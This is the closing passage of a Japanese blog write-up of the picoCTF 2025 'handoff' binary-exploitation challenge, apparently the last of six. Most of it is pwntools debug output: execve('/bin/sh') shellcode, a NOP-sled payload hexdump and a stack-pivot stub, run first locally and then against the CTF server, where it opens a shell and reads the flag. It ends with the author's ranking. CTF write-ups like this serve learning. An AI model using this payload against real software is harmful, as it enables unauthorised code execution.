        push rsi /* 'sh\x00' */
        mov rsi, rsp
        xor edx, edx /* 0 */
        /* call execve() */
        push 59 /* 0x3b */
        pop rax
        syscall
[DEBUG] /usr/bin/x86_64-linux-gnu-as -64 -o /tmp/pwn-asm-jft5mcrr/step2 /tmp/pwn-asm-jft5mcrr/step1
[DEBUG] /usr/bin/x86_64-linux-gnu-objcopy -j .shellcode -Obinary /tmp/pwn-asm-jft5mcrr/step3 /tmp/pwn-asm-jft5mcrr/step4
[DEBUG] cpp -C -nostdinc -undef -P -I/home/user/20240819/lib/python3.11/site-packages/pwnlib/data/includes /dev/stdin
[DEBUG] Assembling
    .section .shellcode,"awx"
    .global _start
    .global __start
    _start:
    __start:
    .intel_syntax noprefix
    .p2align 0
    nop
[DEBUG] /usr/bin/x86_64-linux-gnu-as -64 -o /tmp/pwn-asm-yemzxj50/step2 /tmp/pwn-asm-yemzxj50/step1
[DEBUG] /usr/bin/x86_64-linux-gnu-objcopy -j .shellcode -Obinary /tmp/pwn-asm-yemzxj50/step3 /tmp/pwn-asm-yemzxj50/step4
[DEBUG] cpp -C -nostdinc -undef -P -I/home/user/20240819/lib/python3.11/site-packages/pwnlib/data/includes /dev/stdin
[DEBUG] Assembling
    .section .shellcode,"awx"
    .global _start
    .global __start
    _start:
    __start:
    .intel_syntax noprefix
    .p2align 0
    nop; sub rsp, 0x2e8; jmp rsp
[DEBUG] /usr/bin/x86_64-linux-gnu-as -64 -o /tmp/pwn-asm-7hw857pq/step2 /tmp/pwn-asm-7hw857pq/step1
[DEBUG] /usr/bin/x86_64-linux-gnu-objcopy -j .shellcode -Obinary /tmp/pwn-asm-7hw857pq/step3 /tmp/pwn-asm-7hw857pq/step4
/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/tube.py:841: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
[DEBUG] Received 0x6a bytes:
    b'What option would you like to do?\n'
    b'1. Add a new recipient\n'
    b'2. Send a message to a recipient\n'
    b'3. Exit the app\n'
[DEBUG] Sent 0x2 bytes:
    b'1\n'
[DEBUG] Received 0x22 bytes:
    b"What's the new recipient's name: \n"
[DEBUG] Sent 0x5 bytes:
    b'name\n'
[DEBUG] Received 0x6a bytes:
    b'What option would you like to do?\n'
    b'1. Add a new recipient\n'
    b'2. Send a message to a recipient\n'
    b'3. Exit the app\n'
[DEBUG] Sent 0x2 bytes:
    b'2\n'
[DEBUG] Received 0x35 bytes:
    b'Which recipient would you like to send a message to?\n'
[DEBUG] Sent 0x2 bytes:
    b'0\n'
[DEBUG] Received 0x2a bytes:
    b'What message would you like to send them?\n'
[DEBUG] Sent 0x40 bytes:
    00000000  90 90 90 90  90 90 90 90  90 90 90 90  90 90 90 6a  x····x····x····x···jx
    00000010  68 48 b8 2f  62 69 6e 2f  2f 2f 73 50  48 89 e7 68  xhH·/xbin/x//sPxH··hx
    00000020  72 69 01 01  81 34 24 01  01 01 01 31  f6 56 6a 08  xri··x·4$·x···1x·Vj·x
    00000030  5e 48 01 e6  56 48 89 e6  31 d2 6a 3b  58 0f 05 0a  x^H··xVH··x1·j;xX···x
    00000040
[DEBUG] Received 0x6a bytes:
    b'What option would you like to do?\n'
    b'1. Add a new recipient\n'
    b'2. Send a message to a recipient\n'
    b'3. Exit the app\n'
[DEBUG] Sent 0x2 bytes:
    b'3\n'
[DEBUG] Received 0x76 bytes:
    b'Thank you for using this service! If you could take a second to write a quick review, we would really appreciate it: \n'
[DEBUG] Sent 0x1d bytes:
    00000000  90 48 81 ec  e8 02 00 00  ff e4 61 61  61 61 61 61  x·H··x····x··aaxaaaax
    00000010  61 61 61 61  6c 11 40 00  00 00 00 00  0a           xaaaaxl·@·x····x·x
    0000001d
[*] Switching to interactive mode

$ ls
[DEBUG] Sent 0x3 bytes:
    b'ls\n'
[DEBUG] Received 0x2d bytes:
    b'core  exploit_handoff.py  handoff  handoff.c\n'
core  exploit_handoff.py  handoff  handoff.c
$
[*] Stopped process './handoff' (pid 1295831)

サーバでも実行します。

$ python exploit_handoff.py
[*] '/home/user/svn/experiment/picoCTF/picoCTF2025_BinaryExploitation/handoff/handoff'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x400000)
    Stack:      Executable
    RWX:        Has RWX segments
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
[+] Opening connection to shape-facility.picoctf.net on port 53574: Done
[DEBUG] cpp -C -nostdinc -undef -P -I/home/user/20240819/lib/python3.11/site-packages/pwnlib/data/includes /dev/stdin
[DEBUG] Assembling
    .section .shellcode,"awx"
    .global _start
    .global __start
    _start:
    __start:
    .intel_syntax noprefix
    .p2align 0
        /* execve(path='/bin///sh', argv=['sh'], envp=0) */
        /* push b'/bin///sh\x00' */
        push 0x68
        mov rax, 0x732f2f2f6e69622f
        push rax
        mov rdi, rsp
        /* push argument array ['sh\x00'] */
        /* push b'sh\x00' */
        push 0x1010101 ^ 0x6873
        xor dword ptr [rsp], 0x1010101
        xor esi, esi /* 0 */
        push rsi /* null terminate */
        push 8
        pop rsi
        add rsi, rsp
        push rsi /* 'sh\x00' */
        mov rsi, rsp
        xor edx, edx /* 0 */
        /* call execve() */
        push 59 /* 0x3b */
        pop rax
        syscall
[DEBUG] /usr/bin/x86_64-linux-gnu-as -64 -o /tmp/pwn-asm-dzc57t5r/step2 /tmp/pwn-asm-dzc57t5r/step1
[DEBUG] /usr/bin/x86_64-linux-gnu-objcopy -j .shellcode -Obinary /tmp/pwn-asm-dzc57t5r/step3 /tmp/pwn-asm-dzc57t5r/step4
[DEBUG] cpp -C -nostdinc -undef -P -I/home/user/20240819/lib/python3.11/site-packages/pwnlib/data/includes /dev/stdin
[DEBUG] Assembling
    .section .shellcode,"awx"
    .global _start
    .global __start
    _start:
    __start:
    .intel_syntax noprefix
    .p2align 0
    nop
[DEBUG] /usr/bin/x86_64-linux-gnu-as -64 -o /tmp/pwn-asm-27mpzmjt/step2 /tmp/pwn-asm-27mpzmjt/step1
[DEBUG] /usr/bin/x86_64-linux-gnu-objcopy -j .shellcode -Obinary /tmp/pwn-asm-27mpzmjt/step3 /tmp/pwn-asm-27mpzmjt/step4
[DEBUG] cpp -C -nostdinc -undef -P -I/home/user/20240819/lib/python3.11/site-packages/pwnlib/data/includes /dev/stdin
[DEBUG] Assembling
    .section .shellcode,"awx"
    .global _start
    .global __start
    _start:
    __start:
    .intel_syntax noprefix
    .p2align 0
    nop; sub rsp, 0x2e8; jmp rsp
[DEBUG] /usr/bin/x86_64-linux-gnu-as -64 -o /tmp/pwn-asm-g36h_tcz/step2 /tmp/pwn-asm-g36h_tcz/step1
[DEBUG] /usr/bin/x86_64-linux-gnu-objcopy -j .shellcode -Obinary /tmp/pwn-asm-g36h_tcz/step3 /tmp/pwn-asm-g36h_tcz/step4
/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/tube.py:841: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
[DEBUG] Received 0x6a bytes:
    b'What option would you like to do?\n'
    b'1. Add a new recipient\n'
    b'2. Send a message to a recipient\n'
    b'3. Exit the app\n'
[DEBUG] Sent 0x2 bytes:
    b'1\n'
[DEBUG] Received 0x22 bytes:
    b"What's the new recipient's name: \n"
[DEBUG] Sent 0x5 bytes:
    b'name\n'
[DEBUG] Received 0x6a bytes:
    b'What option would you like to do?\n'
    b'1. Add a new recipient\n'
    b'2. Send a message to a recipient\n'
    b'3. Exit the app\n'
[DEBUG] Sent 0x2 bytes:
    b'2\n'
[DEBUG] Received 0x35 bytes:
    b'Which recipient would you like to send a message to?\n'
[DEBUG] Sent 0x2 bytes:
    b'0\n'
[DEBUG] Received 0x2a bytes:
    b'What message would you like to send them?\n'
[DEBUG] Sent 0x40 bytes:
    00000000  90 90 90 90  90 90 90 90  90 90 90 90  90 90 90 6a  x····x····x····x···jx
    00000010  68 48 b8 2f  62 69 6e 2f  2f 2f 73 50  48 89 e7 68  xhH·/xbin/x//sPxH··hx
    00000020  72 69 01 01  81 34 24 01  01 01 01 31  f6 56 6a 08  xri··x·4$·x···1x·Vj·x
    00000030  5e 48 01 e6  56 48 89 e6  31 d2 6a 3b  58 0f 05 0a  x^H··xVH··x1·j;xX···x
    00000040
[DEBUG] Received 0x6a bytes:
    b'What option would you like to do?\n'
    b'1. Add a new recipient\n'
    b'2. Send a message to a recipient\n'
    b'3. Exit the app\n'
[DEBUG] Sent 0x2 bytes:
    b'3\n'
[DEBUG] Received 0x76 bytes:
    b'Thank you for using this service! If you could take a second to write a quick review, we would really appreciate it: \n'
[DEBUG] Sent 0x1d bytes:
    00000000  90 48 81 ec  e8 02 00 00  ff e4 61 61  61 61 61 61  x·H··x····x··aaxaaaax
    00000010  61 61 61 61  6c 11 40 00  00 00 00 00  0a           xaaaaxl·@·x····x·x
    0000001d
[*] Switching to interactive mode

$ ls
[DEBUG] Sent 0x3 bytes:
    b'ls\n'
[DEBUG] Received 0x1a bytes:
    b'flag.txt\n'
    b'handoff\n'
    b'start.sh\n'
flag.txt
handoff
start.sh
$ cat flag.txt
[DEBUG] Sent 0xd bytes:
    b'cat flag.txt\n'
[DEBUG] Received 0x1d bytes:
    b'picoCTF{p1v0ted_ftw_17db5315}'
picoCTF{p1v0ted_ftw_17db5315}$
[*] Closed connection to shape-facility.picoctf.net port 53574

おわりに

今回、picoCTF 2025 にリアルタイムで参戦しました。この記事では、Binary Exploitation の全6問を書きました。最後の問題は時間切れでした。あと、ローカルだとうまくいくけど、サーバでは失敗するという課題が 2回出ました。これについては、writeup を待って、調査します。また、最後の問題も、近いうちに実施して、追記します。

今回の結果です。私は 1人で参加していて、計10460チームが参加していたようです。1550位だったので、上位15% というところでした。

picoCTF 2025 最終結果
picoCTF 2025 最終結果

picoCTF 2025 最終スコア
picoCTF 2025 最終スコア

picoCTF 2025 最終結果詳細
picoCTF 2025 最終結果詳細

最後になりましたが、エンジニアグループのランキングに参加中です。

気楽にポチッとよろしくお願いいたします🙇

今回は以上です!

最後までお読みいただき、ありがとうございました。




以上の内容はhttps://daisuke20240310.hatenablog.com/entry/picoctf2025beより取得しました。
このページはhttp://font.textar.tv/のウェブフォントを使用してます

不具合報告/要望等はこちらへお願いします。
モバイルやる夫Viewer Ver0.14